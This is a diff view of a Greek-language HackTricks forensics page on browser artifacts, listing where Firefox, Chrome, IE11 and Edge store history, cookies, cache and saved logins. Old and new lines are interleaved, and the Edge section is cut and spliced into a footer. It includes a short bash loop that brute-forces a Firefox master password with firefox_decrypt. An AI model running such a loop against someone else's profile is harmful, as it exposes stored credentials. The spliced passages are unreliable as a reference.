* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Ελάτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,75 +1,81 @@
# Αποτυπώματα Περιηγητή
# Browser Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.\
Αποκτήστε πρόσβαση σήμερα:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Αποτυπώματα Περιηγητών <a href="#id-3def" id="id-3def"></a>
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Τα αποτυπώματα του περιηγητή περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους περιηγητές ιστού, όπως ιστορικό πλοήγησης, σελιδοδείκτες και δεδομένα cache. Αυτά τα αποτυπώματα αποθηκεύονται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα ανάμεσα στους περιηγητές, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
Τα αρχεία του προγράμματος περιήγησης περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους προγράμματα περιήγησης ιστού, όπως το ιστορικό πλοήγησης, τα σελιδοδείκτες και τα δεδομένα cache. Αυτά τα αρχεία διατηρούνται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα μεταξύ των προγραμμάτων περιήγησης, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
Εδώ υπάρχει ένα σύνοψη των πιο κοινών αποτυπωμάτων περιηγητών:
Ακολουθεί μια περίληψη των πιο κοινών αρχείων του προγράμματος περιήγησης:
* **Ιστορικό Πλοήγησης**: Καταγράφει τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους.
* **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας εισαγωγές όταν συνδυαστούν με το ιστορικό πλοήγησης.
* **Σελιδοδείκτες**: Ιστότοποι που έχουν αποθηκευτεί από τον χρήστη για γρήγορη πρόσβαση.
* **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις περιηγητή ή πρόσθετα που έχουν εγκατασταθεί από τον χρήστη.
* **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ. εικόνες, αρχεία JavaScript) για βελτίωση των χρόνων φόρτωσης του ιστότοπου, πολύτιμο για ανάλυση ψηφιακών αποτυπωμάτων.
* **Συνδρομές**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
* **Εικονίδια Αγαπημένων**: Εικονίδια που σχετίζονται με ιστότοπους, εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
* **Συνεδρίες Περιηγητή**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες περιηγητή.
* **Λήψεις**: Εγγραφές αρχείων που κατέβηκαν μέσω του περιηγητή.
* **Δεδομένα Φόρμας**: Πληροφορίες που εισήχθησαν σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
* **Εικόνες Προεπισκόπησης**: Προεπισκόπηση ιστοτόπων.
* **Custom Dictionary.txt**: Λέξεις που προστέθηκαν από τον χρήστη στο λεξικό του περιηγητή.
* **Ιστορικό Πλοήγησης**: Παρακολουθεί τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους.
* **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας πληροφορίες όταν συνδυάζονται με το ιστορικό πλοήγησης.
* **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύει ο χρήστης για γρήγορη πρόσβαση.
* **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις ή πρόσθετα του προγράμματος περιήγησης που εγκαθιστά ο χρήστης.
* **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ., εικόνες, αρχεία JavaScript) για να βελτιώσει τους χρόνους φόρτωσης των ιστότοπων, πολύτιμο για την εγκληματολογική ανάλυση.
* **Συνδέσεις**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
* **Favicons**: Εικονίδια που σχετίζονται με ιστότοπους, που εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
* **Συνεδρίες Προγράμματος Περιήγησης**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες προγράμματος περιήγησης.
* **Λήψεις**: Καταγραφές αρχείων που έχουν ληφθεί μέσω του προγράμματος περιήγησης.
* **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
* **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων.
* **Custom Dictionary.txt**: Λέξεις που προστίθενται από τον χρήστη στο λεξικό του προγράμματος περιήγησης.
## Firefox
Ο Firefox οργανώνει τα δεδομένα του χρήστη μέσα σε προφίλ, τα οποία αποθηκεύονται σε συγκεκριμένες τοποθεσίες βάσει του λειτουργικού συστήματος:
Ο Firefox οργανώνει τα δεδομένα του χρήστη εντός προφίλ, αποθηκευμένα σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Ένα αρχείο `profiles.ini` μέσα σε αυτούς τους καταλόγους καταχωρεί τα προφίλ του χρήστη. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε ένα φάκελο με το όνομα που ορίζεται στη μεταβλητή `Path` μέσα στο `profiles.ini`, το οποίο βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο του. Αν ένας φάκελος προφίλ είναι απουσιάζει, μπορεί να έχει διαγραφεί.
Ένα αρχείο `profiles.ini` εντός αυτών των καταλόγων καταγράφει τα προφίλ χρηστών. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε έναν φάκελο που ονομάζεται στη μεταβλητή `Path` εντός του `profiles.ini`, που βρίσκεται στον ίδιο κατάλογο με το ίδιο το `profiles.ini`. Εάν λείπει ο φάκελος ενός προφίλ, μπορεί να έχει διαγραφεί.
Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία:
* **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού.
* Χρησιμοποιήστε συγκεκριμένες ερωτήσεις SQL για να εξάγετε πληροφορίες ιστορικού και λήψεων.
* Χρησιμοποιήστε συγκεκριμένα SQL queries για να εξαγάγετε πληροφορίες ιστορικού και λήψεων.
* **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών.
* **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού.
* **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλου.
* **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλων.
* **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού.
* **addons.json** και **extensions.sqlite**: Πληροφορίες για εγκατεστημένα πρόσθετα και επεκτάσεις.
* **cookies.sqlite**: Αποθήκευση cookie, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows.
* **addons.json** και **extensions.sqlite**: Πληροφορίες σχετικά με εγκατεστημένα πρόσθετα και επεκτάσεις.
* **cookies.sqlite**: Αποθήκευση cookies, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows.
* **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Αποθηκεύει εικονίδια αγαπημένων.
* **favicons.sqlite**: Αποθηκεύει favicons.
* **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη.
* **downloads.sqlite**: Παλαιότερη βάση δεδομένων λήψεων, πλέον ενσωματωμένη στο places.sqlite.
* **thumbnails**: Εικόνες προεπισκόπησης ιστοτόπων.
* **downloads.sqlite**: Παλιότερη βάση δεδομένων λήψεων, τώρα ενσωματωμένη στο places.sqlite.
* **thumbnails**: Μικρογραφίες ιστότοπων.
* **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης.
* **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την προστασία ευαίσθητων πληροφοριών.
* **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την ασφάλεια ευαίσθητων πληροφοριών.
Επιπλέον, η έλεγχος των ρυθμίσεων αντι-φισικών του περιηγητή μπορεί να γίνει αναζητώντας τις καταχωρήσεις `browser.safebrowsing` στο `prefs.js`, που υποδεικνύουν εάν οι λειτουργίες ασφαλούς περιήγησης είναι ενεργοποιημένες ή απενεργοποιημένες.
Επιπλέον, η έρευνα για τις ρυθμίσεις κατά της phishing του προγράμματος περιήγησης μπορεί να γίνει αναζητώντας τις εγγραφές `browser.safebrowsing` στο `prefs.js`, υποδεικνύοντας εάν οι δυνατότητες ασφαλούς πλοήγησης είναι ενεργοποιημένες ή απενεργοποιημένες.
Για να προσπαθήσετε να αποκρυπτογραφήσετε τον κύριο κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Με το παρακάτω σενάριο και κλήση μπορείτε να καθορίσετε ένα αρχείο κωδικών πρόσβασης για brute force:
{% code title="brute.sh" %}
```bash
#!/bin/bash
@ -80,71 +86,123 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
{% endcode %}
![](<../../../.gitbook/assets/image (417).png>)
## Google Chrome
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες βάσει του λειτουργικού συστήματος:
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
* **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Μέσα σε αυτούς τους φακέλους, η πλειονότητα των δεδομένων του χρήστη μπορεί να βρεθεί στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα ακόλουθα αρχεία περιέχουν σημαντικά δεδομένα:
Μέσα σε αυτούς τους καταλόγους, τα περισσότερα δεδομένα χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα παρακάτω αρχεία περιέχουν σημαντικά δεδομένα:
- **History**: Περιέχει διευθύνσεις URL, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για την ανάγνωση του ιστορικού. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ του χρήστη σε συνδέσμους, την πληκτρολόγηση URL, τις υποβολές φόρμας και τις ανανεώσεις σελίδων.
- **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Κρατάει τα δεδομένα cache. Για επιθεώρηση, οι χρήστες των Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Σελιδοδείκτες του χρήστη.
- **Web Data**: Περιέχει το ιστορικό φόρμας.
- **Favicons**: Αποθηκεύει τα εικονίδια ιστότοπων.
- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης.
- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τις ιστοσελίδες που ήταν ενεργές κατά την τελευταία συνεδρία πριν το κλείσιμο του Chrome.
- **Extensions**: Κατάλογοι για πρόσθετα και επεκτάσεις περιήγησης.
- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
- **Ενσωματωμένο αντι-φισικά του προγράμματος περιήγησης**: Για να ελέγξετε αν η προστασία από φισικά και κακόβουλο λογισμικό είναι ενεργοποιημένη, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε το `{"enabled: true,"}` στην έξοδο.
* **History**: Περιέχει URLs, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) για να διαβαστεί το ιστορικό. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ χρηστών σε συνδέσμους, πληκτρολογημένων URLs, υποβολών φορμών και ανανεώσεων σελίδων.
* **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Cache**: Περιέχει δεδομένα cache. Για επιθεώρηση, οι χρήστες Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Bookmarks**: Σελιδοδείκτες χρηστών.
* **Web Data**: Περιέχει ιστορικό φορμών.
* **Favicons**: Αποθηκεύει τα favicons ιστοσελίδων.
* **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης.
* **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
* **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τους ιστότοπους που ήταν ενεργοί κατά την τελευταία συνεδρία πριν κλείσει ο Chrome.
* **Extensions**: Κατάλογοι για επεκτάσεις και addons του προγράμματος περιήγησης.
* **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
* **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για plugins, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
* **Browsers built-in anti-phishing**: Για να ελέγξετε αν η προστασία κατά του phishing και του κακόβουλου λογισμικού είναι ενεργοποιημένη, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε `{"enabled: true,"}` στην έξοδο.
## **Ανάκτηση Δεδομένων SQLite DB**
## **SQLite DB Data Recovery**
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν βάσεις δεδομένων **SQLite** για την αποθήκευση των δεδομένων. Είναι δυνατή η **ανάκτηση διαγραμμένων καταχωρήσεων χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν βάσεις δεδομένων **SQLite** για να αποθηκεύσουν τα δεδομένα. Είναι δυνατόν να **ανακτήσετε διαγραμμένες εγγραφές χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, βοηθώντας στον διαχωρισμό των αποθηκευμένων πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση.
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, διευκολύνοντας τη διαχωριστική αποθήκευση πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση.
### Αποθήκευση Μεταδεδομένων
### Metadata Storage
Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (όπου το VX είναι V01, V16 ή V24). Συνοδευόμενο από αυτό, το αρχείο `V01.log` μπορεί να εμφανίσει αντιφάσεις στον χρόνο τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας το `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή containers όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων λεπτομερειών cache για άλλα εργαλεία της Microsoft, όπως το Skype.
Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (με το VX να είναι V01, V16 ή V24). Μαζί με αυτό, το αρχείο `V01.log` μπορεί να δείξει διαφορές χρόνου τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή κοντέινερ όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων των λεπτομερειών cache για άλλα εργαλεία της Microsoft όπως το Skype.
### Επιθεώρηση Cache
### Cache Inspection
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν όνομα αρχείου, φάκελο, αριθμό πρόσβασης, προέλευση URL και χρονικά σημεία που υποδεικνύουν τη δημιουργία, πρόσβαση, τροποποίηση και λήξη της cache.
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία του φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν το όνομα αρχείου, τον κατάλογο, τον αριθμό πρόσβασης, την προέλευση URL και χρονικές σφραγίδες που υποδεικνύουν τους χρόνους δημιουργίας, πρόσβασης, τροποποίησης και λήξης της cache.
### Διαχείριση Cookies
### Cookies Management
Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με μεταδεδομένα που περιλαμβάνουν ονόματα, διευθύνσεις URL, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με το χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα session cookies να βρίσκονται στη μνήμη.
Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με τα μεταδεδομένα να περιλαμβάνουν ονόματα, URLs, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με τον χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα session cookies να βρίσκονται στη μνήμη.
### Λεπτομέρειες Λήψης
### Download Details
Τα μεταδεδομένα λήψης είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα containers που κρατούν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Τα μεταδεδομένα λήψεων είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), με συγκεκριμένα κοντέινερ να περιέχουν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν κάτω από `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Ιστορικό Περιήγησης
### Browsing History
Για να ελέγξετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη διαμόρφωση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Για να αναθεωρήσετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη ρύθμιση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Πληκτρολογημένες Διευθύνσεις URL
### Typed URLs
Οι πληκτρολογημένες διευθύνσεις URL και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο στο `NTUSER.DAT` στις διευθύνσεις `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 διευθύνσεις URL που εισήχθησαν από τον χρήστη και τους τελευταίους χρόνους εισόδου τους.
Τα πληκτρολογημένα URLs και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο κάτω από `NTUSER.DAT` στο `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τα τελευταία 50 URLs που εισήγαγε ο χρήστης και τους τελευταίους χρόνους εισόδου τους.
## Microsoft Edge
Τα δεδομένα του Microsoft Edge αποθηκεύονται στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
Ο Microsoft Edge αποθηκεύει τα δεδομένα χρηστών στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
- **Διαδρομή Προφίλ**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Ιστορικό, Cookies και Λήψεις**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Ρυθμίσεις, Σελιδοδείκτες και Λίστα Ανάγνωσης**: `C:\Users\XX\AppData\Local\P
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
